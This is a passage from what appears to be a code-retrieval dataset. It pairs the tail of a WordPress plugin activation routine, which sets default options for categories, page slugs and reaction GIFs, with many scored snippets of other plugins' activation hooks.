$this->configs['meme_enabled'] ) ) $settings['meme_enabled'] = 1;\r\n\t\tif( !isset( $this->configs['news_enabled'] ) ) $settings['news_enabled'] = 1;\r\n\t\tif( !isset( $this->configs['wsl_int'] ) ) $settings['wsl_int'] = 0;\r\n\t\tif( !isset( $this->configs['show_gif_reactions'] ) ) $settings['show_gif_reactions'] = 0;\r\n\t\tif( !isset( $this->configs['show_gif_reactions_upload'] ) ) $settings['show_gif_reactions_upload'] = 0;\r\n\t\t\r\n\t\t$settings = json_encode( $settings );\r\n\t\t\r\n\t\tupdate_option( 'vp-global-configs', $settings, false );\r\n\t\t\r\n\t\tif( get_option( 'vp-cat-tag', -1 ) == -1 ) {\r\n\t\t\t$cat_tag = array(\r\n\t\t\t\t'news' => array( 'cat' => 'news', 'tag' => 'News' ),\r\n\t\t\t\t'lists' => array( 'cat' => 'list', 'tag' => 'Lists' ),\r\n\t\t\t\t'images' => array( 'cat' => 'image', 'tag' => 'Images' ),\r\n\t\t\t\t'meme' => array( 'cat' => 'meme', 'tag' => 'Meme' ),\r\n\t\t\t\t'polls' => array( 'cat' => 'poll', 'tag' => 'Polls' ),\r\n\t\t\t\t'quiz' => array( 'cat' => 'quiz', 'tag' => 'Quiz' ),\r\n\t\t\t\t'audio' => array( 'cat' => 'audio', 'tag' => 'Audio' ),\r\n\t\t\t\t'videos' => array( 'cat' => 'video', 'tag' => 'Videos' ),\r\n\t\t\t\t'gallery' => array( 'cat' => 'gallery', 'tag' => 'Gallery' ),\r\n\t\t\t\t'playlist' => array( 'cat' => 'playlist', 'tag' => 'Playlist' ),\r\n\t\t\t);\r\n\t\t\tupdate_option( 'vp-cat-tag', json_encode( $cat_tag ) );\t\r\n\t\t}\r\n\t\tif( get_option( 'vp-page-slugs', -1 ) == -1 ) {\r\n\t\t\tif( !empty( $this->temp_vars['reg_pages'] ) ) {\r\n\t\t\t\tupdate_option( 'vp-page-slugs', json_encode( $this->temp_vars['reg_pages'] ) );\t\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$page_slugs = array(\r\n\t\t\t\t\t'profile' => 'profile',\r\n\t\t\t\t\t'login' => 'login',\r\n\t\t\t\t\t'register' => 'register',\r\n\t\t\t\t\t'password-lost' => 'password-lost',\r\n\t\t\t\t\t'password-reset' => 'password-reset',\r\n\t\t\t\t\t'create' => 'create',\r\n\t\t\t\t\t'dashboard' => 'dashboard',\r\n\t\t\t\t\t'meme-generator' => 'meme-generator'\r\n\t\t\t\t);\r\n\t\t\t\tupdate_option( 'vp-page-slugs', json_encode( $page_slugs ) );\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\t/**\r\n\t\t\t * put all new added pages here\r\n\t\t\t */\r\n\t\t\tif( empty( $this->settings['page_slugs']['meme-generator'] ) && !empty( $this->settings['page_slugs']['profile']) && get_page_by_path( 'meme-generator' ) ) {\r\n\t\t\t\t$this->settings['page_slugs']['meme-generator'] = 'meme-generator';\t\r\n\t\t\t\tupdate_option( 'vp-page-slugs', json_encode( $this->settings['page_slugs'] ) );\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tif( get_option( 'vp-react-gifs', -1 ) == - 1) {\r\n\t\t\t$url = plugin_dir_url( __FILE__ );\r\n\t\t\t\r\n\t\t\t$gifs = array(\r\n\t\t\t\tarray( \r\n\t\t\t\t\t'url' => $url . 'assets/images/reaction_gifs/' . 'wtf_is_that.gif', \r\n\t\t\t\t\t'static' => $url . 'assets/images/reaction_gifs/' . 'wtf_is_that.gif.gif', \r\n\t\t\t\t\t'caption' => 'WTF is that!' \r\n\t\t\t\t),\r\n\t\t\t\tarray( \r\n\t\t\t\t\t'url' => $url . 'assets/images/reaction_gifs/' . 'yessss.gif',\r\n\t\t\t\t\t'static' => $url . 'assets/images/reaction_gifs/' . 'yessss.gif.gif',\r\n\t\t\t\t\t'caption' => 'Yessss!'\r\n\t\t\t\t),\r\n\t\t\t\tarray( \r\n\t\t\t\t\t'url' => $url . 'assets/images/reaction_gifs/' . 'haaaa.gif',\r\n\t\t\t\t\t'static' => $url . 'assets/images/reaction_gifs/' . 'haaaa.gif.gif',\r\n\t\t\t\t\t'caption' => 'Haaaa!'\r\n\t\t\t\t),\r\n\t\t\t\tarray( \r\n\t\t\t\t\t'url' => $url . 'assets/images/reaction_gifs/' . 'hehehe.gif',\r\n\t\t\t\t\t'static' => $url . 'assets/images/reaction_gifs/' . 'hehehe.gif.gif',\r\n\t\t\t\t\t'caption' => 'HeHeHe!'\r\n\t\t\t\t),\r\n\t\t\t\tarray( \r\n\t\t\t\t\t'url' => $url . 'assets/images/reaction_gifs/' . 'yeeee.gif',\r\n\t\t\t\t\t'static' => $url . 'assets/images/reaction_gifs/' . 'yeeee.gif.gif',\r\n\t\t\t\t\t'caption' => 'Yeeee!'\r\n\t\t\t\t),\r\n\t\t\t\tarray( \r\n\t\t\t\t\t'url' => $url . 'assets/images/reaction_gifs/' . 'frustrated.gif',\r\n\t\t\t\t\t'static' => $url . 'assets/images/reaction_gifs/' . 'frustrated.gif.gif',\r\n\t\t\t\t\t'caption' => 'Damn!'\r\n\t\t\t\t),\r\n\t\t\t\tarray( \r\n\t\t\t\t\t'url' => $url . 'assets/images/reaction_gifs/' . 'fuck.gif',\r\n\t\t\t\t\t'static' => $url . 'assets/images/reaction_gifs/' . 'fuck.gif.gif',\r\n\t\t\t\t\t'caption' => 'Fuck!'\r\n\t\t\t\t),\r\n\t\t\t\tarray( \r\n\t\t\t\t\t'url' => $url . 'assets/images/reaction_gifs/' . 'i_cant_take_it.gif',\r\n\t\t\t\t\t'static' => $url . 'assets/images/reaction_gifs/' . 'i_cant_take_it.gif.gif',\r\n\t\t\t\t\t'caption' => 'I can\\'t take it anymore!'\r\n\t\t\t\t),\r\n\t\t\t\tarray( \r\n\t\t\t\t\t'url' => $url . 'assets/images/reaction_gifs/' . 'aaaaaa.gif',\r\n\t\t\t\t\t'static' => $url . 'assets/images/reaction_gifs/' . 'aaaaaa.gif.gif',\r\n\t\t\t\t\t'caption' => 'AAAAAA!'\r\n\t\t\t\t),\r\n\t\t\t\tarray( \r\n\t\t\t\t\t'url' => $url . 'assets/images/reaction_gifs/' . 'get_me_outta_here.gif',\r\n\t\t\t\t\t'static' => $url . 'assets/images/reaction_gifs/' . 'get_me_outta_here.gif.gif',\r\n\t\t\t\t\t'caption' => 'Get me outta here!'\r\n\t\t\t\t),\r\n\t\t\t\tarray( \r\n\t\t\t\t\t'url' => $url . 'assets/images/reaction_gifs/' . 'zzzzz.gif',\r\n\t\t\t\t\t'static' => $url . 'assets/images/reaction_gifs/' . 'zzzzz.gif.gif',\r\n\t\t\t\t\t'caption' => 'ZZzzz!'\r\n\t\t\t\t)\r\n\t\t\t);\t\r\n\t\t\t\r\n\t\t\tupdate_option( 'vp-react-gifs', json_encode( $gifs ) );\r\n\t\t}\r\n\t\t\r\n\t\t\t\t\r\n\t\tif( get_option( 'vp-demo-installed', - 1 ) == -1 && !empty( $this->installed_version ) ) {\r\n\t\t\tupdate_option( 'vp-demo-installed', 1, false );\r\n\t\t}\r\n\t\telse if( get_option( 'vp-demo-installed', - 1 ) == -1 && empty( $this->installed_version ) ) {\r\n\t\t\tupdate_option( 'vp-demo-installed', 0, false );\r\n\t\t}\r\n\t\t\r\n\t\tif( !empty( $this->settings['cat_tag'] ) && empty( $this->settings['cat_tag']['meme'] ) ) {\r\n\t\t\t$this->settings['cat_tag']['meme'] = array( 'cat' => 'meme', 'tag' => 'Meme' );\t\r\n\t\t\tupdate_option( 'vp-cat-tag', json_encode( $this->settings['cat_tag'] ) );\r\n\t\t}\r\n\t\t\r\n\t\t$old_hook = wp_get_schedule( 'vp_check_update_hook' );\r\n\t\tif( $old_hook ) wp_clear_scheduled_hook( 'vp_check_update_hook' );\r\n\t\t\r\n\t\t$version = array(\r\n\t\t\t'script_version' => VP_VERSION,\r\n\t\t\t'db_version' => '1.0',\r\n\t\t\t'item_url' => $this->item_link,\r\n\t\t\t'time' => time()\r\n\t\t);\r\n\t\t\r\n\t\tif( !function_exists( 'vp_activate_deactivate' ) ) { \r\n\t\t\trequire_once( $this->settings['LIB_DIR']. '/functions.php' );\r\n\t\t}\r\n\t\t\r\n\t\tvp_activate_deactivate( 1, $this );\r\n\t\tfile_put_contents( $this->settings[ 'PLUGIN_DIR' ] . '/pluginversion.json', json_encode( $version ) );\r\n\t\t\r\n\t\t$this->load_settings();\r\n\t}", "title": "" } ]
[ { "docid": "6f1ba73067d358d936c09369698d5bc0", "score": "0.90719813", "text": "public function plugin_activate() { }", "title": "" }, { "docid": "24bdaefc3784420049afeefe2a66b321", "score": "0.86008126", "text": "public abstract static function plugin_activate();", "title": "" }, { "docid": "2d11a3f9ae4cc8d8924ec37da55fc32e", "score": "0.80421144", "text": "public static function activation_hook() {\n\t\tadd_option( 'functionality_plugin_activated', true );\n\t}", "title": "" }, { "docid": "a849a2afa6def8d0125828fdf4e5c87a", "score": "0.79644936", "text": "public static function plugin_activation(){\n \t//Do nice things\n }", "title": "" }, { "docid": "a8e3708cc7effc13e90412817ae5ae30", "score": "0.7962302", "text": "function my_plugin_activate() \n{\n\terror_log(\"my plugin activated\");\n}", "title": "" }, { "docid": "ddc768d3a758c201550e7a5fceb7e43d", "score": "0.7929351", "text": "abstract public function activate($plugin);", "title": "" }, { "docid": "187d6d0e1208a7623487a00990dc0d6b", "score": "0.7676846", "text": "public function on_plugin_loaded() {\n\n\t}", "title": "" }, { "docid": "5eaadb388538ec291ae224c3656f89ea", "score": "0.7665345", "text": "function activate_book_plugin()\n{\n Activate::activate();\n}", "title": "" }, { "docid": "9fa3d87a2418e30238d863ff1ce141c8", "score": "0.7647845", "text": "public function hook() {\n\t\tadd_action( 'wp_ajax_astoundify_plugininstaller_activate_plugin', array( $this, 'activate_plugin' ) );\n\t}", "title": "" }, { "docid": "e74f74777566a177cc94e6c83d4bc823", "score": "0.7610737", "text": "function plugin_activate() {\n\tEPFLCOURSESSEDB::init();\n}", "title": "" }, { "docid": "bdc0d4da2c243fabf22cfd5b1994353f", "score": "0.76084584", "text": "function active_plugin()\n {\n\n }", "title": "" }, { "docid": "2abbe4c5125f39dc176664fee7f56e60", "score": "0.75958323", "text": "public function _activate_plugin()\n\t{\n\t\ttrigger_error(__FUNCTION__);\n\t\tadd_option($this->key, $this->defaults);\n\t}", "title": "" }, { "docid": "a70640e92bb76a586c5ffa3119169ebb", "score": "0.75481164", "text": "function activate() { add_option($this->plugin_info['options'], $this->options, $this->plugin_info['title']); }", "title": "" }, { "docid": "6d33b6cf27ed8b6b55da3deb39867ed3", "score": "0.7541532", "text": "function activate_oopy_plugin() {\n\tInc\\Base\\Activate::activate();\n}", "title": "" }, { "docid": "03762091ba9b188a594573ad953dc941", "score": "0.7534601", "text": "public static function cmwp_on_activate() \n\t{\n\t\t// TODO: define activation functionality here\n\t}", "title": "" }, { "docid": "5b7c8166171a324c8c7130877043b75b", "score": "0.75262225", "text": "public function onPluginsInitialized()\n {\n // Plugin always active.\n $this->active = true;\n return;\n }", "title": "" }, { "docid": "dabe6f5d536668599827f918551ad317", "score": "0.74758583", "text": "function on_my_plugin_activation(){\nadd_option('Activated_Plugin', 'Plug and Play is active.' );\n}", "title": "" }, { "docid": "cb11974d9f0a93b257609f26ffb7b8cc", "score": "0.74100465", "text": "function activate_turbines_plugin(){\n Inc\\Base\\Activate::activate();\n}", "title": "" }, { "docid": "f424a30de5dd1eb1f95a97f62aee6636", "score": "0.7349699", "text": "function activate() {\n\t}", "title": "" }, { "docid": "25ea44a8ac063c82490dbed3b7431c80", "score": "0.73267674", "text": "function turnclick_activate() {\n add_option('Turnclick_Activated_Plugin', 'Turnclick-Plugin-Slug');\n}", "title": "" }, { "docid": "385b95fa442aac7aaf2ac07f13c27562", "score": "0.7311896", "text": "function activate() {}", "title": "" }, { "docid": "4edf8a708f8cdda316404e3873622b87", "score": "0.72865117", "text": "function activatePlugin() {\n\t\t\t$dojoLoaderAdminOptions = array(\n\t\t\t\t'activate' => 'true',\n\t\t\t\t'gridstructure' => array(array('name' => 'gridstructure_1', 'structure' => 'name,link'))\n\t\t\t\t);\n\t\t\t\t\t\t\t\t\n\t\t\tupdate_option($this->adminOptionsName, $dojoLoaderAdminOptions);\n\t\t\t\n\t\t\tif (!isset($dl_adminLoader)) {\n\t\t\t\t$dl_adminLoader = new WpDojoLoader_AdminLoader();\n\t\t\t}\n\t\t\t\n\t\t\t$dl_adminLoader->initAdminOptions();\n\t\t}", "title": "" }, { "docid": "421060892346375f4176db81d257180a", "score": "0.7241997", "text": "public function onActivate();", "title": "" }, { "docid": "aa5ef48db8ee5552c33a81e322cab5d0", "score": "0.72309136", "text": "function activate_plugin_name() {\n require_once plugin_dir_path( __FILE__ ) . 'includes/class-plugin-name-activator.php';\n Plugin_Name_Activator::activate();\n}", "title": "" }, { "docid": "08f1d02106a6940a67e1a116961328d6", "score": "0.7230013", "text": "function pluginDidActivate(){\n\t\t\t$this->register_post_types();\n\t\t\tflush_rewrite_rules();\n\t\t\t\n\t\t\tif( $this->updateBlockWP || $this->updateUseCustom )\n\t\t\t\tdelete_site_transient( 'update_plugins' );\n\t\t}", "title": "" }, { "docid": "ad6d7f4bb3801df13a295f743c40c9a3", "score": "0.72089124", "text": "function catch_the_deal_init() {\n\tregister_activation_hook( __FILE__ , 'catch_the_deal_active' );\n\t/* Runs on plugin deactivation */\n\tregister_deactivation_hook( __FILE__, 'catch_the_deal_deactive' );\n\t/* Runs on plugin uninstall */\n\tregister_uninstall_hook( __FILE__, 'catch_the_deal_uninstall' );\n}", "title": "" }, { "docid": "9e892e22aeb55e1f205f2d5625d71ef9", "score": "0.71927476", "text": "public function onPluginActivated()\n {\n $this->bootstrap('wordPress')\n ->getResource('wordPress')\n ->setCustomOption('attribution', true);\n }", "title": "" }, { "docid": "71b9adf567cc71776e91db83cba6293e", "score": "0.71799904", "text": "function activation_hook() {\n\t}", "title": "" }, { "docid": "bfb4c00bceb94f816c3def2aafff8a5d", "score": "0.7165924", "text": "public function activate()\n {\n\n\t}", "title": "" }, { "docid": "184f3d2fbc3b1c3b230f083ca320df60", "score": "0.71528965", "text": "public function activate()\n {\n\n\n }", "title": "" }, { "docid": "e111fc57df1423645e77bfab3727ed09", "score": "0.7129035", "text": "public static function onActivate()\n {\n do_action('wpu_activate');\n }", "title": "" }, { "docid": "48fb562138213c82eb1858e60f802150", "score": "0.71159655", "text": "public function activated() {\n // Check for the existence of env.php\n if (!file_exists(plugin_dir_path(__FILE__) . \"env.php\")) {\n deactivate_plugins( plugin_basename( __FILE__ ) );\n wp_die( 'Please copy env.example.php to env.php and fill in your Okta application details, then activate this plugin again.' );\n }\n }", "title": "" }, { "docid": "2939a26e65f1d85867f8065d4fcb8e7a", "score": "0.7097688", "text": "public static function activate()\n {\n }", "title": "" }, { "docid": "f36cbb17564f0f79424e5b036b169b63", "score": "0.7087489", "text": "function init_hooks() {\n\tregister_activation_hook( __FILE__, __NAMESPACE__ . '\\activate_plugin' );\n\tregister_deactivation_hook( __FILE__, __NAMESPACE__ . '\\deactivate_plugin' );\n\tregister_uninstall_hook( __FILE__, __NAMESPACE__ . '\\uninstall_plugin' );\n}", "title": "" }, { "docid": "c77b22490f3b71c395ef0d4e563847ef", "score": "0.7083501", "text": "public static function activate() {\n\t\tif (!current_user_can('activate_plugins')) {\n\t\t\treturn;\n\t\t}\n\n\t\t$plugin = isset($_REQUEST['plugin']) ? $_REQUEST['plugin'] : '';\n\t\tcheck_admin_referer(\"activate-plugin_{$plugin}\");\n\t}", "title": "" }, { "docid": "f1247cf9b0474138e6aed827f00fd095", "score": "0.7056747", "text": "public function onPluginActivated() {\n\t\t/** @noinspection HtmlUnknownTarget */\n\t\tAdminNotice::create('vac-admin-menu-hint')\n\t\t\t->info(sprintf(\n\t\t\t\t'Tip: Go to <a href=\"%1$s\">Tools -&gt; %2$s</a> to start customizing the WordPress admin.',\n\t\t\t\tesc_attr(add_query_arg('page', self::menuSlug, admin_url('tools.php'))),\n\t\t\t\tself::menuTitle\n\t\t\t))\n\t\t\t->persistentlyDismissible()\n\t\t\t->showOnNextPage();\n\t}", "title": "" }, { "docid": "cf691413dd693fde056b75c9ed45ca6a", "score": "0.70549273", "text": "public function activate();", "title": "" }, { "docid": "50d8722ec51d200c52940064181e72ca", "score": "0.70453167", "text": "function activate_survey_plugin() {\n\tIncludes\\Base\\Activate::activate();\n}", "title": "" }, { "docid": "a93f9b654fa6bd136439e2e5cff4e8a3", "score": "0.7024065", "text": "public static function activate() {}", "title": "" }, { "docid": "34a18c64fefb1fbfe319001e25056518", "score": "0.7013355", "text": "protected function addAction_onActivate(){\n\t\t}", "title": "" }, { "docid": "88759f4cdac82476ed9dc4d0e261e5f5", "score": "0.7009821", "text": "public function activated() {\n\t}", "title": "" }, { "docid": "1703d964ba61f2325a416dd5e7fbb061", "score": "0.70003384", "text": "function awcp_BaseActivate() {\n\n\t$notices= get_option('advanced-wordpress-configuration-pluginDeferredAdminNotices', array());\n \t$notices[]= 'Advanced Wordpress Configuration Plugin activated. Please check the <a href=\"' . esc_url( add_query_arg( array( 'page' => 'advanced-wordpress-configuration-plugin-options' ), admin_url( 'options-general.php' ) ) ) . '\">' . __( 'Settings', 'advanced-wordpress-configuration-plugin-locale' ) . '</a>.';\n \tupdate_option('advanced-wordpress-configuration-pluginDeferredAdminNotices', $notices);\n\n\tif ( function_exists( 'wp_cache_clear_cache' ) ) {\n\t\twp_cache_clear_cache();\n\t}\n}", "title": "" }, { "docid": "d9a4e3d7c69b525eb345b9a10827d9e0", "score": "0.6995277", "text": "function vsei_activate_plugin() {\n VSEI::activate();\n}", "title": "" }, { "docid": "41b267e73b4abcb43da5891620429075", "score": "0.69935834", "text": "public function activate() {\n\t\tif ( ! isset( $GLOBALS['wp-piwik'] ) ) {\n\t\t\tif ( is_plugin_inactive( 'wp-piwik/wp-piwik.php' ) ) {\n\t\t\t\t add_action( 'update_option_active_plugins', array( $this, 'activate_piwik' ) );\n\t\t\t} else {\n\t\t\t\tdeactivate_plugins( plugin_basename( __FILE__ ) );\n\t\t\t\twp_die( 'This plugin requires WP-Piwik. Install that one first.', 'Install WP-Piwik', array( 'back_link' => true ) );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "f64adbf25e13217a8343fd7c21c7b67e", "score": "0.6976415", "text": "function hookActivation()\n {\n // If 'version' is not yet set in the options array, this is a first\n // time install scenario. Perform the initial database and options\n // setup.\n if (null === $this->getOption('version')) {\n $this->_install();\n return;\n }\n\n // If the plugin version stored in the options structure is older than\n // the current plugin version, initiate the upgrade sequence.\n if (version_compare($this->getOption('version'), '1.3', '<')) {\n $this->_upgrade();\n return;\n }\n }", "title": "" }, { "docid": "d44fa329c47ce98abd9972946c109f92", "score": "0.69746995", "text": "function aiovg_activate()\n {\n require_once AIOVG_PLUGIN_DIR . 'includes/activator.php';\n AIOVG_Activator::activate();\n }", "title": "" }, { "docid": "8a0eae403c373234f33d7610baef3f68", "score": "0.69670725", "text": "public static function on_activation() {\n\n\t\tself::init();\n\t\tdo_action( 'ubc_press_on_activation' );\n\n\t}", "title": "" }, { "docid": "9d270ab1d20cc302b71dac21bcc139d6", "score": "0.69559115", "text": "public function activate() {\n\t\t// Current plugin version.\n\t\t$version = get_site_option( 'beehive_version' );\n\n\t\t// If new installation or older versions.\n\t\tif ( BEEHIVE_VERSION !== $version ) {\n\t\t\t// Upgrade process should be run here.\n\n\t\t\t// Mark the plugin version.\n\t\t\tupdate_site_option( 'beehive_version', BEEHIVE_VERSION );\n\t\t}\n\n\t\t/**\n\t\t * Action hook to execute after activation.\n\t\t *\n\t\t * @param int Old version.\n\t\t * @param int New version.\n\t\t *\n\t\t * @since 3.2.0\n\t\t */\n\t\tdo_action( 'beehive_after_activate', $version, BEEHIVE_VERSION );\n\t}", "title": "" }, { "docid": "0b4c6176db2b4cc00890076754974f0f", "score": "0.69513375", "text": "public function activate() {\n // Do some activation things.\n\t}", "title": "" }, { "docid": "2d2a33ed85fa539d1b9f1f39a1a23527", "score": "0.6916178", "text": "public function activation() {\n\t\tdo_action( 'PT_Activate' );\n\t}", "title": "" }, { "docid": "ef54bd2ba43d6f88e8b81ca57ad218e7", "score": "0.69073445", "text": "public function activate_extension(){}", "title": "" }, { "docid": "8e5a0864d92854e79f3edfbc42d1e6ab", "score": "0.687654", "text": "function aoe_plugin_activate( $plugin ) {\n\tif ( plugin_basename( __FILE__ ) === $plugin ) {\n\t\tif ( false === aoe_get_option( 'start_date', false ) ) {\n\t\t\taoe_set_option( 'start_date', date( 'Y-m-d', strtotime( '-1 months' ) ) );\n\t\t}\n\t\texit( wp_redirect( admin_url( 'admin.php?page=abandoned_order_setting' ) ) );\n\t}\n}", "title": "" }, { "docid": "f563e60d5e8dcb1e82c9c230f83eb649", "score": "0.6870876", "text": "function activate_akamai() {\n require_once AKAMAI_PLUGIN_PATH . 'includes/class-activator.php';\n Activator::activate();\n}", "title": "" }, { "docid": "20925d7446afb414204f589fdbdc6638", "score": "0.68708473", "text": "public function activationHook() {\r\r\n\r\r\n // Run the activation tasks\r\r\n wd_asp()->init->activate();\r\r\n\r\r\n }", "title": "" }, { "docid": "8ef56e2e4addc795c33ca16487efbaaf", "score": "0.6856195", "text": "function ais_activate() {\n update_option('ais_activated', true);\n }", "title": "" }, { "docid": "b90ca32a3eaa209004b86896d8843a09", "score": "0.6826563", "text": "public static function plugin_initialize() {\n\t\tif ( ! Jetpack_Options::get_option( 'activated' ) ) {\n\t\t\tJetpack_Options::update_option( 'activated', 2 );\n\t\t}\n\n\t\tif ( ! Jetpack_Options::get_option( 'version' ) ) {\n\t\t\t$version = $old_version = JETPACK__VERSION . ':' . time();\n\t\t\tJetpack_Options::update_options( compact( 'version', 'old_version' ) );\n\t\t}\n\n\t\tJetpack::load_modules();\n\n\t\tJetpack_Options::delete_option( 'do_activate' );\n\t}", "title": "" }, { "docid": "eb66d8c406131812023150936c2be98f", "score": "0.68081546", "text": "public static function activate() {\n\t\tself::add_options();\n\t}", "title": "" }, { "docid": "bd0fb90e4b7762ce4f88a17f97ba9a02", "score": "0.6807464", "text": "public function action_plugin_activation()\n\t{\n\t\tOptions::set('piwik__trackloggedin', false);\n\t}", "title": "" }, { "docid": "e863e50842b12592929e98e22f84b982", "score": "0.6789401", "text": "private static function single_activate() {\n\t}", "title": "" }, { "docid": "8d7dcf8baa3d5de5b9c73ac2ad45c230", "score": "0.6786537", "text": "public function after_activation() {\n $this->terms_of_service();\n ShareaholicUtilities::log_event(\"Activate\");\n\n // workaround: http://codex.wordpress.org/Function_Reference/register_activation_hook\n add_option( 'Activated_Plugin_Shareaholic', 'shareaholic' );\n\n if (ShareaholicUtilities::has_accepted_terms_of_service() && ShareaholicUtilities::get_option('api_key') != NULL){\n ShareaholicUtilities::notify_content_manager_sitemap();\n ShareaholicUtilities::notify_content_manager_singledomain();\n }\n\n if (!ShareaholicUtilities::get_version()) {\n ShareaholicUtilities::log_event(\"Install_Fresh\");\n }\n\n // Activate the Shareaholic Cron Job for new users\n ShareaholicCron::activate();\n }", "title": "" }, { "docid": "0aba3996b726919650885f4117c54e11", "score": "0.67671067", "text": "public function activate()\n {\n if (!static::canActivate()) {\n FlashMessages::remove(MessagesInterface::MSG_SUPPORT);\n FlashMessages::add(\n MessagesInterface::MSG_ACTIVATE_ERROR, static::getView('Messages/activateError'), array('error'), true\n );\n\n return false;\n }\n\n FlashMessages::remove(MessagesInterface::MSG_ACTIVATE_ERROR);\n FlashMessages::add(\n MessagesInterface::MSG_SUPPORT, static::getView('Messages/support')\n );\n \n add_filter('plugin_action_links_woo-poly-integration/__init__.php', function ($links) {\n $baseURL = is_multisite() ? get_admin_url() : admin_url();\n $settingsLinks = array( \n '<a href=\"'\n . $baseURL\n . 'options-general.php?page=hyyan-wpi\">'\n . __('Settings', ' woo-poly-integration')\n . '</a>',\n '<a target=\"_blank\" href=\"https://github.com/hyyan/woo-poly-integration/wiki\">'\n . __('Docs', 'woo-poly-integration')\n . '</a>', \n );\n \n return $settingsLinks + $links;\n });\n\t\tadd_filter( 'plugin_row_meta', array( __CLASS__, 'plugin_row_meta' ), 10, 2 );\n\n $this->registerCore();\n }", "title": "" }, { "docid": "3d98a99c89ba36b573aa77cdcd9d3fc5", "score": "0.6761933", "text": "protected function activate() {\n\t\t// noop\n\t}", "title": "" }, { "docid": "c739c3ceccfcbe2352ee4a97d3a0301c", "score": "0.675941", "text": "function activatePlugin()\n{\n $createDB = new CreateDB();\n $createDB->installDatabase();\n\n $settingsPage = new SettingsPage();\n $settingsPage->addPluginPage();\n\n\n// Set option on default\n if (!get_option('summer_price')) {\n update_option('summer_price', 99, 0);\n }\n\n if (!get_option('late_price')) {\n update_option('late_price', 89, 0);\n }\n\n if (!get_option('low_price')) {\n update_option('low_price', 69, 0);\n }\n}", "title": "" }, { "docid": "03330bb683c023a3edd13f77ead13334", "score": "0.6753509", "text": "function csms_activate_mage_plugin() {\n\trequire_once plugin_dir_path( __FILE__ ) . 'includes/class-csms-plugin-activator.php';\n\tCSMS_Plugin_Activator::activate();\n}", "title": "" }, { "docid": "40edb14a2c230584539e1ae4906add59", "score": "0.6737979", "text": "public function init() {\n\t\tif ( get_option( '_bp_blog_comment_notifier_plugin_activated', false ) ) {\n\t\t\tdelete_option( '_bp_blog_comment_notifier_plugin_activated' );\n\t\t\t$this->on_plugin_activation();\n\t\t}\n\t}", "title": "" }, { "docid": "6b3dd2cf4ec54399aecb984140d4028e", "score": "0.67376184", "text": "public static function activation() {\n\t\tif ( ! current_user_can( 'activate_plugins' ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t/**\n\t\t * Use this to add a database table after the plugin is activated for example\n\t\t */\n\n\t\t// Clear the permalinks\n\t\tflush_rewrite_rules();\n\n\t\t# Uncomment the following line to see the function in action\n\t\t# exit( var_dump( $_GET ) );\n\t}", "title": "" }, { "docid": "1ea9f05f39c22813a03ce5cfbd96494e", "score": "0.67078376", "text": "public static function activate() {\n \n }", "title": "" }, { "docid": "415e7b47ace0eaf18ce306869b522576", "score": "0.66774595", "text": "function activate() {\n require_once(\"in-series-init.php\");\n // Initialize and upgrade series metadata\n InSeriesInit::initialize_3_0_database();\n InSeriesInit::initialize_3_0_6_database();\n InSeriesInit::initialize_3_0_11_database();\n InSeriesInit::do_pre_2_0_metadata_convert();\n InSeriesInit::do_2_x_to_3_0_metadata_convert();\n InSeriesInit::do_3_0_to_3_0_6_metadata_convert();\n InSeriesInit::do_3_0_6_to_3_0_11_metadata_convert();\n\n // Initialize and upgrade plugin options\n InSeriesInit::initialize_options();\n }", "title": "" }, { "docid": "40888a588c02f994a122905825bfe058", "score": "0.6674822", "text": "function run_activate_plugin( $plugin ) {\r\n $current = get_option( 'active_plugins' );\r\n $plugin = plugin_basename( trim( $plugin ) );\r\n\r\n if ( !in_array( $plugin, $current ) ) {\r\n $current[] = $plugin;\r\n sort( $current );\r\n do_action( 'activate_plugin', trim( $plugin ) );\r\n update_option( 'active_plugins', $current );\r\n do_action( 'activate_' . trim( $plugin ) );\r\n do_action( 'activated_plugin', trim( $plugin) );\r\n }\r\n\r\n return null;\r\n}", "title": "" }, { "docid": "62c713b9f79bfcc577a9760c22722fed", "score": "0.66670185", "text": "public function activate() {\n $installer = new WOO\\STOCK\\NOTIFIER\\Installer();\n $installer->do_install();\n }", "title": "" }, { "docid": "15e80aebcffe64d62d6606670c609b1e", "score": "0.6658681", "text": "public function __construct() {\r\n register_activation_hook(__FILE__, array('PhoenixPlugin', 'install'));\r\n register_uninstall_hook(__FILE__, array('PhoenixPlugin', 'uninstall'));\r\n }", "title": "" }, { "docid": "34e477bc9c190f8b664d8dcf6fdcfc4a", "score": "0.6653306", "text": "public static function pvpluginabbr_activate() {\n\n\t\t\t// test for installed tables\n\t\t\tif ( 0 ) {\n\t\t\t\t// run install sql\n\t\t\t}\n\n\t\t\t// clear the permalinks after the post type has been registered\n\t\t\t//flush_rewrite_rules();\n\t\t}", "title": "" }, { "docid": "470c71e2616c75a0e06448e339b84fed", "score": "0.6651066", "text": "function activateOptions() \n { \n\n }", "title": "" }, { "docid": "610dc8e997b4dd283f5df2d6ab7d14d6", "score": "0.6645915", "text": "static function bundle_activate_add_on() {\r\n\t\t\t$response = array();\r\n\t\t\tinclude_once( ABSPATH . 'wp-admin/includes/plugin-install.php' ); //for plugins_api..\r\n\t\t\tif ( !current_user_can( 'activate_plugins' ) ) {\r\n\t\t\t\t$response['error'] = __( 'You do not have sufficient permissions to deactivate plugins for this site.', 'learnpress' );\r\n\t\t\t} else {\r\n\t\t\t\t$slug = !empty( $_REQUEST['plugin'] ) ? $_REQUEST['plugin'] : null;\r\n\t\t\t\t$response[$slug] = learn_press_install_and_active_add_on( $slug );\r\n\t\t\t}\r\n\t\t\tlearn_press_send_json( $response );\r\n\t\t}", "title": "" }, { "docid": "9c2a891e3e842e4a1fb23950fcd447d8", "score": "0.66270083", "text": "function run_activate_plugin( $plugin ) {\n $current = get_option( 'active_plugins' );\n $plugin = plugin_basename( trim( $plugin ) );\n\n if ( !in_array( $plugin, (array)$current ) ) {\n $current[] = $plugin;\n sort( $current );\n do_action( 'activate_plugin', trim( $plugin ) );\n update_option( 'active_plugins', $current );\n do_action( 'activate_' . trim( $plugin ) );\n do_action( 'activated_plugin', trim( $plugin) );\n }\n\n return null;\n}", "title": "" }, { "docid": "31a6c5c5c20e5dad7c187d02d39260de", "score": "0.66009104", "text": "public function __construct(){\n $this->plugin = PLUGIN; \n }", "title": "" }, { "docid": "ce6e5a39eeb517ba8478082a974f6660", "score": "0.6592472", "text": "public function onEnable(){\n 